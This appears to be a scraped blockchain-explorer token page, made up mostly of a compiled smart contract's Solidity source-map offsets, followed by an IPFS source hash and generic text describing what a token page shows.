1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;6262:7;6258:23;6254:32;6251:52;;;6299:1;6296;6289:12;6251:52;6328:9;6322:16;6312:26;;6378:2;6367:9;6363:18;6357:25;6347:35;;6422:2;6411:9;6407:18;6401:25;6391:35;;6126:306;;;;;:::o;6716:277::-;6783:6;6836:2;6824:9;6815:7;6811:23;6807:32;6804:52;;;6852:1;6849;6842:12;6804:52;6884:9;6878:16;6937:5;6930:13;6923:21;6916:5;6913:32;6903:60;;6959:1;6956;6949:12;10562:125;10627:9;;;10648:10;;;10645:36;;;10661:18;;:::i;11047:135::-;11086:3;11107:17;;;11104:43;;11127:18;;:::i;:::-;-1:-1:-1;11174:1:1;11163:13;;11047:135::o;11187:127::-;11248:10;11243:3;11239:20;11236:1;11229:31;11279:4;11276:1;11269:15;11303:4;11300:1;11293:15;11319:128;11386:9;;;11407:11;;;11404:37;;;11421:18;;:::i;11584:127::-;11645:10;11640:3;11636:20;11633:1;11626:31;11676:4;11673:1;11666:15;11700:4;11697:1;11690:15;11716:980;11978:4;12026:3;12015:9;12011:19;12057:6;12046:9;12039:25;12083:2;12121:6;12116:2;12105:9;12101:18;12094:34;12164:3;12159:2;12148:9;12144:18;12137:31;12188:6;12223;12217:13;12254:6;12246;12239:22;12292:3;12281:9;12277:19;12270:26;;12331:2;12323:6;12319:15;12305:29;;12352:1;12362:195;12376:6;12373:1;12370:13;12362:195;;;12441:13;;-1:-1:-1;;;;;12437:39:1;12425:52;;12532:15;;;;12497:12;;;;12473:1;12391:9;12362:195;;;-1:-1:-1;;;;;;;12613:32:1;;;;12608:2;12593:18;;12586:60;-1:-1:-1;;;12677:3:1;12662:19;12655:35;12574:3;11716:980;-1:-1:-1;;;11716:980:1:o;12701:217::-;12741:1;12767;12757:132;;12811:10;12806:3;12802:20;12799:1;12792:31;12846:4;12843:1;12836:15;12874:4;12871:1;12864:15;12757:132;-1:-1:-1;12903:9:1;;12701:217::o
Swarm Source
ipfs://418be388111e5b9713fc678ad720a40c592109c2e57acca1371d4d3ad9eabe99
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.